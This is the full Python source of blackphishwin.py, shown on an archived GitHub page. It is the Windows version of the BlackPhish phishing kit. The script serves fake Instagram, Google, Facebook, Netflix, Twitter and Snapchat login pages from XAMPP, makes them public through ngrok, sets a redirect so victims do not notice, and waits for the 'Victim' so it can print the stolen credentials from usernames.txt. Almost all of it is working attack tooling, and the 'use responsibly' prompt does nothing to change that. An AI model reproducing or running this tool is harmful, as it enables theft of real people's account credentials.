This repository has been archived by the owner on Sep 10, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 93
/
blackphishwin.py
394 lines (292 loc) · 12.6 KB
/
blackphishwin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
####################################################
# Version supporting windows systems #
# V1.0- #
# Commit by Nano #
####################################################
# Libraries #
import os, glob, ctypes
from os import system, getcwd, remove
from time import sleep
from socket import create_connection, gethostname, gethostbyname
from distutils import dir_util
from sys import version_info, platform
# Variables #
cwd = getcwd() # Gets working directory #
localip = gethostbyname(gethostname()) # Get local IP #
# Checks if user is on windows
if platform == "win32":
pass
else:
print("Hey looks like u are not on windows, or we couldn't detect the device. Exiting...")
exit(0)
# COLORS #
red = "\033[91;1m"
reset = "\033[0m"
green = "\033[92;1m"
cyan = "\033[96;1m"
yellow = "\033[93;1m"
magenta = "\033[95;1m"
blue = "\033[94;1m"
white = "\033[97;1m"
blink = "\033[5m"
def isAdmin():
try:
is_admin = (os.getuid() == 0)
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
if isAdmin():
pass
else:
print("Please run cmd as admin")
exit(0)
# Check for python version #
if version_info < (3,0,0):
exit(red + "[!] Please use python3: install from windows store" + reset)
# Why are we not using the colors we just defined? LOL
def warning(): # Banner #
print('''
\033[94;1m
https://github.com/iinc0gnit0/BlackPhish\033[0m\033[91m
▀█████████▄ ▀████████▄
███ ███ ███ ███
███ ███ ███ ███
███▄▄▄██▀ ███ ███
███▀▀▀██▄ ████████▀
███ ██▄\033[31m ┬ ┌─┐┌─┐┬┌─ \033[91m ███ \033[31m ┬ ┬┬┌─┐┬ ┬ \033[91m
███ ███\033[31m │ ├─┤│ ├┴┐ \033[91m ███\033[31m ├─┤│└─┐├─┤\033[91m
▄█████████▀ \033[31m ┴─┘┴ ┴└─┘┴ ┴ \033[91m ███\033[31m ┴ ┴┴└─┘┴ ┴\033[94;1m v3.4
Banner made by: \033[91;1m[ tuf_unkn0wn ]\033[94;1m
Script created by: \033[91;1m[ inc0gnit0 ] [ retro0001 ]\033[94;1m
Revisions made by: \033[91;1m[ jackoftimeandreality ]\033[94;1m
Websites created by: \033[91;1m[ TableFlipGod ]\033[94;1m
Big Thanks to: \033[91;1m [ DarkSecDevelopers ]\033[93;1m ''')
print('\n')
warningchoice = input(
" Will you use this responsibly (\033[94;1my\033[93;1m/\033[91mn\033[93;1m): ") # Agreement Message #
if warningchoice == 'y':
pass
elif warningchoice == 'yes':
pass
elif warningchoice == 'Y':
pass
elif warningchoice == 'Yes':
pass
else:
endMessage()
# Banner #
def banner():
print('''
\033[94;1m
https://github.com/iinc0gnit0/BlackPhish\033[0m\033[91m
\033[94;1m run xampp-windows-installer.exe\033[0m\033[91m
▀█████████▄ ▀████████▄
███ ███ ███ ███
███ ███ ███ ███
███▄▄▄██▀ ███ ███
███▀▀▀██▄ ████████▀
███ ██▄\033[31m ┬ ┌─┐┌─┐┬┌─ \033[91m ███ \033[31m ┬ ┬┬┌─┐┬ ┬ \033[91m
███ ███\033[31m │ ├─┤│ ├┴┐ \033[91m ███\033[31m ├─┤│└─┐├─┤\033[91m
▄█████████▀ \033[31m ┴─┘┴ ┴└─┘┴ ┴ \033[91m ███\033[31m ┴ ┴┴└─┘┴ ┴\033[94;1m v4.0
Banner made by: \033[91;1m[ tuf_unkn0wn ]\033[94;1m
Script created by: \033[91;1m[ inc0gnit0 ] [ retro0001 ]\033[94;1m
Revisions made by: \033[91;1m[ jackoftimeandreality ]\033[94;1m
Websites created by: \033[91;1m[ TableFlipGod ]\033[94;1m
Big Thanks to: \033[91;1m [ DarkSecDevelopers ]\033[91;1m
[1]\033[94;1m Instagram \033[91;1m
[2]\033[94;1m Google \033[91;1m
[3]\033[94;1m Facebook \033[91;1m
[4]\033[94;1m Netflix \033[91;1m
[5]\033[94;1m Twitter \033[91;1m
[6]\033[94;1m Snapchat \033[91;1m
[0]\033[94;1m Clean \033[91;1m
[x]\033[94;1m Exit
\033[0m''')
def setup(template): # Template for input #
print('\n')
print(red + ' [1]' + blue + ' ngrok (More Options for windows Soon!)\n\n')
print(red + ' [2]' + blue + ' localhost \n')
choice1 = input(red + " [" + blue + f"BlackPhish-{template}" + red + "] -> ")
# delete all files in htdocs
try:
dir = 'C:\\xampp\\htdocs\\'
filelist = glob.glob(os.path.join(dir, "*"))
for f in filelist:
os.remove(f)
except:
pass
# Setup #
if choice1 == '1':
system("cls")
#system('del /f C:\\xampp\\htdocs\\*')
print(green + f'[+] Copying Files from {template}')
sleep(0.1)
dir_util.copy_tree(f"Websites/{template}",
"C:\\xampp\\htdocs\\") # Copies the entire folder of Websites/template to htdocs for xampp#
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "C:\\xampp\\htdocs\\") # Copies from Server/www to C:\\xampp\\htdocs\\ #
print(green + '[+] Copying to C:\\xampp\\htdocs\\')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system(f'{cwd}\\Windows\\apachestart.bat') # Starts apache service #
print(green + '[+] Apache2 Service Started')
sleep(0.1)
print(blue + "\nLocal: " + red + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + '[*] Starting ngrok')
#system('taskkill /IM "ngrok.exe" /F')
ngrokForward() # ngrok port forward #
print(yellow + "\n Waiting For Victim ... [Control + C] to stop\n")
sleep(0.1)
while True: # Waits for content on usernames.txt #
with open('C:\\xampp\\htdocs\\usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(1)
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("type C:\\xampp\\htdocs\\usernames.txt")
print("\n______________________________________________________________________________" + reset)
endMessage()
if choice1 == '2':
system("cls")
# system('del /f C:\\xampp\\htdocs\\*')
print(green + f'[+] Copying Files from {template} template')
sleep(0.1)
dir_util.copy_tree(f"Websites/{template}",
"C:\\xampp\\htdocs\\") # Copies the entire folder of Websites/template to htdocs for xampp#
redirect() # Redirect Prompt #
print(green + '[+] Editing login.php(Do not edit/tamper with this file)')
dir_util.copy_tree("Server/www", "C:\\xampp\\htdocs\\") # Copies from Server/www to C:\\xampp\\htdocs\\ #
print(green + '[+] Copying to C:\\xampp\\htdocs\\')
sleep(0.1)
print(yellow + '[+] Starting Apache2 Service')
sleep(0.1)
system(f'{cwd}\\Windows\\apachestart.bat') # Starts apache service #
print(green + '[+] Apache2 Service Started')
print(green + f"[+] {template} template is currently running!")
sleep(0.1)
sleep(4)
system('cls')
print(green + "[+] Localhost: " + red + localip + "\n") # Shows where site is hosted locally #
sleep(0.1)
print(yellow + "[+] Waiting For Victim ... \n")
sleep(0.1)
while True: # Waits for content on usernames.txt #
with open('C:\\xampp\\htdocs\\usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(5)
system('cls')
print(blue + "\nLocalhost: " + red + localip + "\n")
print(green + "______________________________________________________________________________\n")
print('\n CREDENTIALS FOUND\n\n')
system("type C:\\xampp\\htdocs\\usernames.txt")
print("\n______________________________________________________________________________" + reset)
print(yellow + "\n [Control + C] to stop\n")
#endMessage()
else:
print(red + '[!] Invalid Option')
sleep(1)
main()
# Port forward to ngrok #
def ngrokForward():
sleep(2)
try:
system(f"cd {cwd}\\Windows && ngrok.exe http 80")
except:
print(red + "\n[!] Something went wrong! Please try again")
endMessage()
#
# Redirect Prompt #
def redirect():
redirect = input(yellow + "URL redirect to: ")
if redirect == "":
print(red+"[!] redirect as been set to none!")
pass
if 'http://' in redirect or 'https://' in redirect:
with open('C:\\xampp\\htdocs\\login.php') as f:
read = f.read()
r = read.replace('<REDIRECT>', redirect)
w = open('C:\\xampp\\htdocs\\login.php', 'w')
w.write(r)
w.close()
else:
redirect = 'https://' + redirect
with open('C:\\xampp\\htdocs\\login.php') as f:
read = f.read()
r = read.replace('<REDIRECT>', redirect)
w = open('C:\\xampp\\htdocs\\login.php', 'w')
w.write(r)
w.close()
def endMessage(): # Message when you exit #
print("\n")
print(yellow + " Thank you using " + red + "BlackPhish for windows\n")
print(yellow + " If you have any problems while using " + red + "BlackPhish " + yellow + "please report it to us\n")
print(yellow + " Make Pull Request to support this tool\n")
print("\n" + reset)
exit(0)
def checkInternet(): # Checks for internet connection #
print(yellow + "[*] Checking connection...")
try:
create_connection(("www.github.com", 80)) # Tries to connect to github.com #
print(green + "[+] Internet Found")
sleep(2)
except OSError: # Checks for OSError #
print(red + "[!] Internet Not Found" + reset)
exit(0)
def main():
system("cls") # clear screen #
checkInternet() # Check internet connection #
system("cls") # clear screen #
warning() # Agree to use with responsibily #
system('cls') # clear screen #
banner() # Load Banner #
choice = input(red + " [" + blue + "BlackPhish" + red + "] -> ") # Get user input #
# Instagram #
if choice == "1":
setup("Instagram")
# Google #
elif choice == '2':
setup("Google")
# Facebook #
elif choice == '3':
setup("Facebook")
# Netflix #
elif choice == '4':
setup("Netflix")
# Twitter #
elif choice == "5":
setup("Twitter")
# Snapchat #
elif choice == "6":
setup("Snapchat")
# Clean out everything #
elif choice == "0":
print(green + "[+] Killed xampp ")
try:
system('taskkill /IM "xampp-control.exe" /F')
print(green + "[+] Stopping Apache2")
system('taskkill /IM "httpd.exe" /F')
except:
print(red + "[!] could not kill xampp is it running?")
main()
print(blue + '[+] Done')
# Exit #
elif choice == 'x':
endMessage()
# Invalid Option Error #
else:
print(red + "[!] Invalid option" + reset)
main()
try:
if __name__ == '__main__':
main()
# Will detect if they exit #
except KeyboardInterrupt:
print("\n")
print(red + "[!] KeyboardInterrupt Detected")
print(red + "[!] Exiting" + reset)
exit(0)